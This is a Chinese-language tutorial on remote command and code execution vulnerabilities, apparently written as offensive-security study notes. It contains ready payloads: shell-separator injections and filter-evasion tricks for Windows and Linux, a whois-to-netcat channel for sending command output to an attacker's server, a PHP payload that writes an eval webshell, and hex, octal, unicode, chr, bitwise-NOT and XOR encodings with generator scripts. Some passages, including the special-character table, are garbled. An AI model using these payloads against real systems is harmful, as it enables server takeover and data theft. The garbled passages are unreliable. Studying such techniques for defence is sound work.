简介
RCE(remote command/code execute,远程命令执行/远程代码执行)漏洞
一般出现这种漏洞,是因为应用系统从设计上需要给用户提供指定的远程命令操作的接口
常见应用:
路由器、防火墙、入侵检测等设备的web管理界面
常见功能: ping
一般会给用户提供一个ping操作的web界面,用户从web界面输入目标IP,提交后,后台会对该IP地址进行一次ping测试,并返回测试结果。
如果设计者在完成该功能时,没有做严格的安全控制,则可能会导致攻击者通过该接口提交“意想不到”的命令,从而让后台进行执行,从而控制整个后台服务器
远程代码执行 同样的,因为需求设计,后台有时候也会把用户的输入作为代码的一部分进行执行,也就造成了远程代码执行漏洞。
不管是使用了代码执行的函数,还是使用了不安全的反序列化等等。
远程命令执行
直接调用操作系统命令(相当于在cmd下敲命令)
函数
如果使用PHP 环境搭建的服务 ,
system、exec、shell_exec、passthu、popen、proc_popen等函数可以执行系统命令
**常用命令执行函数 ** | |
---|---|
SYSTEM | system函数可以用来执行一个外部的应用程序并将相应的执行结果输出,函数原型如下: string system(string command, int&return_var) 其中,command是要执行的命令,return_var存放执行命令的执行后的状态值。 |
EXEC | exec函数可以用来执行一个外部的应用程序 string exec (string command, array&output, int &return_var) command是要执行的命令,output是获得执行命令输出的每一行字符串,return_var存放执行命令后的状态值。 |
Passthru | passthru函数可以用来执行一个UNIX系统命令并显示原始的输出, 当UNIX系统命令的输出是二进制的数据,并且需要直接返回值给浏览器时, 需要使用passthru函数来替代system与exec函数。Passthru函数原型如下: void passthru (string command, int&return_var) command是要执行的命令,return_var存放执行命令后的状态值。 |
Shell_exec | 执行shell命令并返回输出的字符串 string shell_exec (string command) command是要执行的命令。 |
符号
使用管道符绕过一些限制 ,执行多条命令
管道符 | ||
---|---|---|
| | 直接执行后面的语句 | ping 127.0.0.1|whoami |
|| | 前面的语句执行出错则执行后面的语句 | ping 127.0.0.1||whoami |
& | 前面的语句为假则执行后面的语句 | ping 127.0.0.1&whoami |
&& | 前面的语句为假,直接出错,前面的语句为真,执行后面的语句 | ping 127.0.0.1&&whoami |
; | 不管前面命令执行成功没有,后面的命令继续执行 | ping 127.0.0.1;whoami |
|
其他特殊符号
| |
| — | — |
| ’ | 单引号,在单引号中所有的特殊符号,如“
”和“
‘
”(反引号)都无特殊含义
∣
∣
"
∣
双引号,在双引号中特殊符号都无特殊含义,但“
”和“`”(反引号)都无特殊含义 | | " | 双引号,在双引号中特殊符号都无特殊含义,但“
”和“‘”(反引号)都无特殊含义∣∣"∣双引号,在双引号中特殊符号都无特殊含义,但“”、“”(反引号)和“\\”是例外,拥有“调用变量值”,“引用命令”和“转义符”的特殊含义 | |
| 反引号:反引号括起来的内容是系统命令,在Bash中先会执行它和() |
| $() | 和反引号作用相同,用来引用系统命令 |
| # | 在shell脚本中,#开头的行代表注释 |
| $ | 用于调用变量的值,如需要调用变量name的值时,需要用$name的方式得到 |
| \ | 转义符,跟在\之后的特殊字符将失去特殊含义,变为普通字符 |
绕过
Windows
一 . 符号与命令的关系
了解一下,”和^这还有成对的圆括号()符号并不会影响命令的执行
在windows环境下,命令可以不区分大小写
实验截图 :
w"h"o"a"m"i 执行成功
W"h"o"a"m"i 执行成功
wh"““oami 执行失败
who””“ami 执行成功
wh”“o^ami 执行成功
wh”““o^ami 执行失败
(((Whoa"m"i))) 执行成功
可以看出添加了 “” 加上 ^ 可以执行成功
在括号里面使用”” ^ 进行拼接也可以执行成功
但是使用前面使用了^ 符号 ,后面不能使用三个双引号进行拼接 ,不然会报错
在前面使用三个双引号 ,后面使用^ 不会报错
不能同时连续使用两个^^ 符号 ,因为^号是cmd中的转义符,跟在他后面的符号会被转义
如果在命令执行的时候遇到了拦截命令的关键字,那么就可以使用这种方式绕过
二. set 命令和 windows 变量
set命令可以用来设置一个变量(环境变量也是变量)
使用set 设置变量a=1 但是直接echo a 输出的就是a
把a 两边加上 % 就输出变量a 的值 ,用两个%括起来的变量,会引用其变量内的值
如果把变量换成 命令 或者反弹的shell 就可以直接执行了
这里就直接输入环境变量就好 ,如果还使用echo 的话 就是把a 的值 输出 ,并不是以命令的形式
还可以结合前面的方法进行拼接 ,输出命令
通常我们也可以自定义一个或者多个环境变量,利用环境变量值中的字符,提取并拼接出最终想要的cmd命令。如:
Cmd /C “set envar=net user && call echo %envar%”
可以拼接出cmd命令:net user
cmd命令的“/C”参数,Cmd /C “string”表示:执行字符串string指定的命令,然后终止。
而启用延迟的环境变量扩展,经常使用 cmd.exe的 /V:ON参数,
/V:ON参数启用时,可以不使用call命令来扩展变量,使用 %var% 或 !var! 来扩展变量,
!var!可以用来代替%var%,也就是可以使用感叹号字符来替代运行时的环境变量值。
三**. 切割字符串**
命令行也是有和编程语言截取字符串的功能的
变量a = whoami 一共 六个字母
但是如果按照编程语言来说 一共按照下标来的,但这里不是 是按照从第一个值到最后一个字 有多少位来截取的
~0,6 whoami 一共是 六位 是刚好的
~0,5 whoam 一共是五位 执行不了
截取字符串的语法
%变量名:~x,y%
即对变量从第x个元素开始提取,总共取y个字符。
当然也可以写-x,-y,从后往前取
写作-x,可取从后往前数第x位的字符开始,一直到字符的末尾
-y来决定少取几个字符
四. 利用For循环拼接命令
For循环经常被用来混淆处理cmd命令,使得cmd命令看起来复杂且难以检测。最常用的For循环参数有 /L,/F参数。
FOR 参数 %变量名 IN (相关文件或命令) DO 执行的命令
for /?
C:\Users\0x001>for /?
对一组文件中的每一个文件执行某个特定命令。
FOR %variable IN (set) DO command [command-parameters]
%variable 指定一个单一字母可替换的参数。
(set) 指定一个或一组文件。可以使用通配符。
command 指定对每个文件执行的命令。
command-parameters
为特定命令指定参数或命令行开关。
在批处理程序中使用 FOR 命令时,指定变量请使用 %%variable
而不要用 %variable。变量名称是区分大小写的,所以 %i 不同于 %I.
如果启用命令扩展,则会支持下列 FOR 命令的其他格式:
FOR /D %variable IN (set) DO command [command-parameters]
如果集中包含通配符,则指定与目录名匹配,而不与文件名匹配。
FOR /R [[drive:]path] %variable IN (set) DO command [command-parameters]
检查以 [drive:]path 为根的目录树,指向每个目录中的 FOR 语句。
如果在 /R 后没有指定目录规范,则使用当前目录。如果集仅为一个单点(.)字符,
则枚举该目录树。
FOR /L %variable IN (start,step,end) DO command [command-parameters]
该集表示以增量形式从开始到结束的一个数字序列。因此,(1,1,5)将产生序列
1 2 3 4 5,(5,-1,1)将产生序列(5 4 3 2 1)
FOR /F ["options"] %variable IN (file-set) DO command [command-parameters]
FOR /F ["options"] %variable IN ("string") DO command [command-parameters]
FOR /F ["options"] %variable IN ('command') DO command [command-parameters]
或者,如果有 usebackq 选项:
FOR /F ["options"] %variable IN (file-set) DO command [command-parameters]
FOR /F ["options"] %variable IN ("string") DO command [command-parameters]
FOR /F ["options"] %variable IN ('command') DO command [command-parameters]
fileset 为一个或多个文件名。继续到 fileset 中的下一个文件之前,
每份文件都被打开、读取并经过处理。处理包括读取文件,将其分成一行行的文字,
然后将每行解析成零或更多的符号。然后用已找到的符号字符串变量值调用 For 循环。
以默认方式,/F 通过每个文件的每一行中分开的第一个空白符号。跳过空白行。
你可通过指定可选 "options" 参数替代默认解析操作。这个带引号的字符串包括一个
或多个指定不同解析选项的关键字。这些关键字为:
eol=c - 指一个行注释字符的结尾(就一个)
skip=n - 指在文件开始时忽略的行数。
delims=xxx - 指分隔符集。这个替换了空格和制表符的
默认分隔符集。
tokens=x,y,m-n - 指每行的哪一个符号被传递到每个迭代
的 for 本身。这会导致额外变量名称的分配。m-n
格式为一个范围。通过 nth 符号指定 mth。如果
符号字符串中的最后一个字符星号,
那么额外的变量将在最后一个符号解析之后
分配并接受行的保留文本。
usebackq - 指定新语法已在下类情况中使用:
在作为命令执行一个后引号的字符串并且一个单
引号字符为文字字符串命令并允许在 file-set
中使用双引号扩起文件名称。
某些范例可能有助:
FOR /F "eol=; tokens=2,3* delims=, " %i in (myfile.txt) do @echo %i %j %k
会分析 myfile.txt 中的每一行,忽略以分号打头的那些行,将
每行中的第二个和第三个符号传递给 for 函数体,用逗号和/或
空格分隔符号。请注意,此 for 函数体的语句引用 %i 来
获得第二个符号,引用 %j 来获得第三个符号,引用 %k
来获得第三个符号后的所有剩余符号。对于带有空格的文件
名,你需要用双引号将文件名括起来。为了用这种方式来使
用双引号,还需要使用 usebackq 选项,否则,双引号会
被理解成是用作定义某个要分析的字符串的。
%i 在 for 语句中显式声明,%j 和 %k 是通过
tokens= 选项隐式声明的。可以通过 tokens= 一行
指定最多 26 个符号,只要不试图声明一个高于字母 "z" 或
"Z" 的变量。请记住,FOR 变量是单一字母、分大小写和全局的变量;
而且,不能同时使用超过 52 个。
还可以在相邻字符串上使用 FOR /F 分析逻辑,方法是,
用单引号将括号之间的 file-set 括起来。这样,该字符
串会被当作一个文件中的一个单一输入行进行解析。
最后,可以用 FOR /F 命令来分析命令的输出。方法是,将
括号之间的 file-set 变成一个反括字符串。该字符串会
被当作命令行,传递到一个子 CMD.EXE,其输出会被捕获到
内存中,并被当作文件分析。如以下例子所示:
FOR /F "usebackq delims==" %i IN (`set`) DO @echo %i
会枚举当前环境中的环境变量名称。
另外,FOR 变量参照的替换已被增强。你现在可以使用下列
选项语法:
%~I - 删除任何引号("),扩展 %I
%~fI - 将 %I 扩展到一个完全合格的路径名
%~dI - 仅将 %I 扩展到一个驱动器号
%~pI - 仅将 %I 扩展到一个路径
%~nI - 仅将 %I 扩展到一个文件名
%~xI - 仅将 %I 扩展到一个文件扩展名
%~sI - 扩展的路径只含有短名
%~aI - 将 %I 扩展到文件的文件属性
%~tI - 将 %I 扩展到文件的日期/时间
%~zI - 将 %I 扩展到文件的大小
%~$PATH:I - 查找列在路径环境变量的目录,并将 %I 扩展
到找到的第一个完全合格的名称。如果环境变量名
未被定义,或者没有找到文件,此组合键会扩展到
空字符串
可以组合修饰符来得到多重结果:
%~dpI - 仅将 %I 扩展到一个驱动器号和路径
%~nxI - 仅将 %I 扩展到一个文件名和扩展名
%~fsI - 仅将 %I 扩展到一个带有短名的完整路径名
%~dp$PATH:I - 搜索列在路径环境变量的目录,并将 %I 扩展
到找到的第一个驱动器号和路径。
%~ftzaI - 将 %I 扩展到类似输出线路的 DIR
在以上例子中,%I 和 PATH 可用其他有效数值代替。%~ 语法
用一个有效的 FOR 变量名终止。选取类似 %I 的大写变量名
比较易读,而且避免与不分大小写的组合键混淆。
for /L %variable in (start,step,end) do command [command-parameters]
该命令表示以增量形式从开始到结束的一个数字序列。
使用迭代变量设置起始值(start).
然后逐步执行一组范围的值,直到该值超过所设置的终止值 (end)。
/L 将通过对start与end进行比较来执行迭代变量。
如果start小于end,就会执行该命令,否则命令解释程序退出此循环。
还可以使用负的 step以递减数值的方式逐步执行此范围内的值。
例如,(1,1,5) 生成序列 1 2 3 4 5,
而 (5,-1,1) 则生成序列 (5 4 3 2 1)。
命令cmd /C "for /L %i in (1,1,5) do start cmd"
会执行打开5个cmd窗口。
此时打开五个cmd 窗口
/F参数: 是最强大的命令,用来处理文件和一些命令的输出结果。
FOR /F ["options"] %variable IN (file-set) DO command [command-parameters]
FOR /F ["options"] %variable IN ("string") DO command [command-parameters]
FOR /F ["options"] %variable IN ('command') DO command [command-parameters]
(file-set) 为文件名,for会依次将file-set中的文件打开,并且在进行到下一个文件之前将每个文件读取到内存,按照每一行分成一个一个的元素,忽略空白行。
(“string”)代表字符串,(‘command’)代表命令。
假如文件abc.txt中有如下内容:
第1行第1列 第1行第2列
第2行第1列 第2行第2列for /F %i in (abc.txt) do echo %i
如果去掉/F参数则只会输出aa.txt,并不会读取其中的内容。
先从括号执行,因为含有参数/F,所以for会先打开abc.txt,然后读出aa.txt里面的所有内容,把它作为一个集合,并且以每一行作为一个元素。
Linux
符号和逻辑运算符
windows的cmd下取变量值需要用两个%,linux下需要用$
Linux下用分号表示命令结束后执行后面的命令,无论前面的命令是否成功
其他符号如|| 、& 、&&和windows都是一样
根据以上两点进行一个结合a=l;b=s;i=" -al"; $a$b$i
Nc 自己服务器中:nc -lvvp 端口
payload发送给对方:whois -h ip -p 端口
命令//``为反引号
使用whois来执行命令和传输文件
在实际的攻击场景中,可以在自己的攻击服务器上用nc监听一个公网端口,然后在存在命令执行漏洞的网站中发送payload请求,
对它使用whois命令使其命令执行结果返回给nc监听的端口,从而在自己服务器中查看
符号之间的组合
windows下双引号和幂运算符号都不会影响命令的执行,linux也同理
在linux中?扮演的角色是匹配任意一个字符,用?来绕过限制
which whoami //找到whoami路径 /u?r/?in/wh?am?
which ifconfig //找到ifconfig /u??/sb??/if?on???
同理可得,星号*在linux中用来代表一个或多个任何字符,包括空字符
? * 组合起来/*/sb??/if?on*
反引号 ``123
id123
绕过空格过滤
在linux下我们还可以使用大花括号来绕过空格的限制,比如ls -alt命令中间的空格**{ls,-alt}**
**${IFS}**
**$IFS$9**
** 这里的数字任意 **
重定向符绕过<> <
base64 编码绕过
这里用单引号 包裹起来 ,单引号里面的值会被当作命令执行
远程代码执行
远程代码执行是指攻击者可能会通过远调用的方式来攻击或控制计算机设备,无论该设备在哪里
在Web应用中有时候程序员为了考虑灵活性、简洁性,会在代码调用eval函数(PHP函数)去处理。比如当应用在调用一些能将字符串转化成代码的函数时,没有考虑用户是否能控制这个字符串,将造成代码执行漏洞。
由于开发人员编写源码,没有针对代码中可执行的特殊函数入口做过滤,导致客户端可以提交恶意构造语句提交,并交由服务器端执行。命令注入攻击中WEB服务器没有过滤类似system(),eval(),exec(),assert(),preg replace() + /e 模式等函数是该漏洞攻击成功的最主要原因。
常见场景:
- 使用了危险函数的Web应用
- 低版本的Java语言Struts 2 框架
危险函数
文件读取类的危险函数 | |
---|---|
file_get_contents | 将整个文件读入一个字符串 |
fopen | fopen() 函数打开一个文件或 URL。 |
readfile | readfile() 函数输出一个文件readfile(filename,include_path,context) |
fgets | fgets() 函数从打开的文件中返回一行fgets(file,length) |
fread | fread() 函数读取打开的文件string fread ( resource $handle , int $length ) |
parse_ini_file | parse_ini_file() 函数解析一个配置文件(ini 文件),并以数组的形式返回其中的设置。parse_ini_file(file,process_sections) |
highlight_file | highlight_file() 函数对文件进行语法高亮显示。 |
文件包含类的危险函数 | |
---|---|
include | include 引入文件的时候,如果碰到错误,会给出提示,并继续运行下边的代码。语法:include(/path/to/filename) |
require | require()函数会将目标档案的内容读入,并且把自己本身代换成这些读入的内容 require 引入文件的时候,如果碰到错误,会给出提示,并停止运行下边的代码。 require(filename) |
代码执行函数 | |
---|---|
eval | 最常见的代码执行函数,把字符串 code 作为PHP代码执行。eval ( string $code ) : mixed |
assert | 检查一个断言是否为false assert()会检查指定的assertion并在结果为false时采取适当的行动。在PHP5或PHP7中,如果assertion是字符串,它将会被assert()当做PHP代码来执行 |
call_user_func | call_user_func把第一个参数作为回调函数调用call_user_func([callable](https://www.php.net/manual/en/language.types.callable.php) $callback, [mixed](https://www.php.net/manual/en/language.types.declarations.php#language.types.declarations.mixed) ...$args): [mixed](https://www.php.net/manual/en/language.types.declarations.php#language.types.declarations.mixed) 调用callback第一个参数给定的并将其余参数作为参数传递。 |
call_user_func_array | call_user_func_array:调用回调函数,并把一个数组参数作为回调函数的参数call_user_func_array([callable](https://www.php.net/manual/zh/language.types.callable.php) $callback, array $args): [mixed](https://www.php.net/manual/zh/language.types.declarations.php#language.types.declarations.mixed) 把第一个参数作为回调函数(callback)调用,把参数数组作(args)为回调函数的的参数传入。 |
preg_replace()+/e | 执行一个正则表达式的搜索和替换preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] ) : mixed 搜索subject中匹配pattern的部分,以replacement进行替换。如果pattern的模式修饰符使用/e,那么当subject被匹配成功时,replacement会被当做PHP代码执行 PS: preg_replace()+函数的/e修饰符在PHP7中被移除 |
create_function() | 创建一个匿名(lambda样式)函数create_function ( string $args , string $code ) : string 根据传递的参数创建一个匿名函数,并为其返回唯一的名称。如果没有严格对参数传递进行过滤,攻击者可以构造payload传递给create_function()对参数或函数体闭合注入恶意代码导致代码执行 |
@eval
使用最常见的eval 做测试
eval 函数 get 传个值a ,a输入的字符串会当作代码来执行
写个shell 试试fputs(fopen('shell.php','w'),'<?php eval($_POST["cmd"]);?>');
成功写入
assert()
PHP 5 bool assert ( mixed $assertion [, string $description ] )
PHP 7 bool assert ( mixed $assertion [, Throwable $exception ] )
assert() 会检查指定的 assertion 并在结果为 FALSE 时采取适当的响应。如果 assertion 是字符串,它将会被 assert() 当做 PHP 代码来执行。
<?php
assert($_GET['cmd']);
?>
call_user_func()
mixed call_user_func ( callable $callback [, mixed $parameter [, mixed $... ]] )
第一个参数 callback 是被调用的回调函数,其余参数是回调函数的参数。 传入call_user_func()的参数不能为引用传递。
<?php
call_user_func($_GET['a'],$GET['b']);
?>
call_user_func_array()
mixed call_user_func_array ( callable $callback , array $param_arr )
把第一个参数作为回调函数(callback)调用,把参数数组作(param_arr)为回调函数的的参数传入。
<?php
call_user_func_array($_GET["a"],$_GET["b"]);
?>
?a=assert&b[]=phpinfo()
create_function
string create_function ( string $args , string $code )
该函数的内部实现用到了eval,所以也具有相同的安全问题。第一个参数args是后面定义函数的参数,第二个参数是函数的代码。
PHP 8 已经移除了 create_function
array_map()
array array_map ( callable $callback , array $array1 [, array $... ] )
作用是为数组的每个元素应用回调函数 。其返回值为数组,是为 array1 每个元素应用 callback函数之后的数组。 callback 函数形参的数量和传给 array_map() 数组数量,两者必须一样。
<?php
$array = array(0,1,2,3,4,5);
array_map($_GET['aaaaaa'],$array);
?>
?aaaaaa=phpinfo
注意没有括号()和分号;。
动态调用
- 定义一个函数
- 将函数名 (字符串) 赋值给一个变量
- 使用变量名代替函数名动态调用函数
代码
<?php
function addition($a, $b)
{
echo ($a + $b), "\n";
}
$result = "addition";
$result(3, 6);
"addition"(3, 6);
?>
这里 输出了两个 9
这里写了个addition 函数 ,并且将addition 赋值给变量 result ,然后就利用了 动态特效
result (3,6) 就可以使用 addition 函数了
这样更明显
反引号
PHP 中的反引号和linux 中的一样 是可以用来执行命令的 ,
但是 他这里没有回显
这里使用 ping 去验证
可以发现 ping 的话是有回显的,外带也获取到了
没有回显不代表命令,没有被执行 ,测试时 要多细心
Curly Syntax
PHP 的 Curly Syntax 也可以执行代码 ,将执行花括号间的代码 ,并将结果替换回去
任何具有String 表达的标量变量 ,数组单元或对象属性都可以使用此语法 ,只需简单地像在string 以外的地方那样写出表达式 ,然后用 花括号 *_{ * 和 } 把他括起来即可 , 由于 { 无法被转义 。 只有 $ 紧挨着 { 时才会被识别 , 可以用 {$ 来表达 {$
_
<?php
$foobar = "phpinfo";
${"foobar"}();
?>
_ _
_其实这里很像动态调用 _
绕过
字符串拼接绕过
字符串拼接绕过适用于绕过过滤具体关键字的限制
适用PHP版本:PHP>=7
(p.h.p.i.n.f.o)();
(sy.(st).em)(whoami);
(sy.(st).em)(who.ami);
(s.y.s.t.e.m)("whoami");
在PHP中不一定需要引号(单引号/双引号)来表示字符串。PHP支持我们声明元素的类型,比如
n
a
m
e
=
(
s
t
r
i
n
g
)
m
o
c
h
u
7
;
,在这种情况下,
name = (string)mochu7;,在这种情况下,
name=(string)mochu7;,在这种情况下,name就包含字符串"mochu7",此外,如果不显示声明类型,那么PHP会将圆括号内的数据当成字符串来处理
字符串进制绕过
以八进制表示的[0–7]{1,3}转义字符会自动适配byte(如"\400" == “\000”)
以十六进制的\x[0–9A-Fa-f]{1,2}转义字符表示法(如“\x41")
以Unicode表示的\u{[0–9A-Fa-f]+}字符,会输出为UTF-8字符串
注意这里转义后的字符必须双引号包裹传参
常用 payload
"\x70\x68\x70\x69\x6e\x66\x6f"();#phpinfo();
"\163\171\163\164\145\155"('whoami');#system('whoami');
"\u{73}\u{79}\u{73}\u{74}\u{65}\u{6d}"('id');#system('whoami');
"\163\171\163\164\145\155"("\167\150\157\141\155\151");#system('whoami');
生成脚本
# -*- coding:utf-8 -*-
def hex_payload(payload):
res_payload = ''
for i in payload:
i = "\\x" + hex(ord(i))[2:]
res_payload += i
print("[+]'{}' Convert to hex: \"{}\"".format(payload,res_payload))
def oct_payload(payload):
res_payload = ""
for i in payload:
i = "\\" + oct(ord(i))[2:]
res_payload += i
print("[+]'{}' Convert to oct: \"{}\"".format(payload,res_payload))
def uni_payload(payload):
res_payload = ""
for i in payload:
i = "\\u{{{0}}}".format(hex(ord(i))[2:])
res_payload += i
print("[+]'{}' Convert to unicode: \"{}\"".format(payload,res_payload))
if __name__ == '__main__':
payload = 'phpinfo'
hex_payload(payload)
oct_payload(payload)
uni_payload(payload)
八进制的方法可以绕过无字母传参进行代码执行"\163\171\163\164\145\155"("\167\150\157\141\155\151");#system('whoami');
Chr 绕过
<?php
$a = "phpinfo";
for ($i = 0; $i < strlen($a); $i++) {
if ($i == strlen($a) - 1) {
echo "chr(" . ord($a[$i]) . ")";
}
else{
echo "chr(" . ord($a[$i]) . ").";
}
}
?>
成一个 phpinfo 的chr
成功执行了 ?cmd=(chr(112).chr(104).chr(112).chr(105).chr(110).chr(102).chr(111))();
这里记得加括号
URL编码取反绕过
取反指的是按位取反也就是比如数字1.其二进制为00000001,那么取反后将变为11111110,这就是按位取反,那么我们将按位取反后的字符串传入的后再次按位取反的话就变回我们原来的字符串,然后再配合动态函数执行的方式达成任意代码执行.以此来绕过各种限制。
取反后的字符串大部分是不可见字符.那么我们传输的时候会造成错误,那么可以利用get传参时的ur解码特性.把传入的不可见字符进行url编码。
eval('(~xxx)(~xxxx);');
(~%8F%97%8F%96%91%99%90)();/1(phpinfo)();
<?php
echo urldecode(~(~"phpinfo"));
?>
第一次url 加密取反是url 编码
再取反一次就返回phpinfo了
异或绕过
在PHP中两个字符串异或之后.得到的还是一个字符串。
例如:我们异或?和~之后得到的是A
字符之间的异或是将字符转为二进制之后按位异或最终得到另一个字符,利用这个特性我们可以写个脚本跑出来我们能够构成的所有字符。
当过滤漏下^时可以使用异或.
并且有一点必须知道的就是两个字符串之间也是可以进行异或的,其是对应位字符进行异或后将结果拼接起来,而且在异或时事实上我们并不需要如此多个结果,我们在拥有256个ascii码中的一半,即128个可用字符后,与255去异或已经能够满足我们的需求
生成异或脚本
<?php
for ($i = 128; $i <= 255; $i++) {
echo sprintf("%s^%s", urlencode(chr($i)),urlencode(chr(255)) . "=>".(chr($i) ^ chr(255))). "\n";
}
?>
或绕过
生成代码
<?php
for ($i = 0; $i <255; $i++) {
$j = ord('`');
echo sprintf("%s|%s", urlencode(chr($i)),(chr($j)) . "=>".(chr($i) | chr($j))). "\n";
}
?>
无参数RCE
无参数RCE针对的是一种正则.当然更多的是一种解题思路.无参rce所做的就是我们利用函数套娃来达成rce,其正则表达式一般会含有这么一段东西:
if(;===preg_replace(/[W]+((?R)?1)/“,”,$_GET[codeD))
那么我们传入的code的值需要符合以下形式才能通过。
phpinfo();
var_dump(localeconv());
var_dump(pos(localeconv()));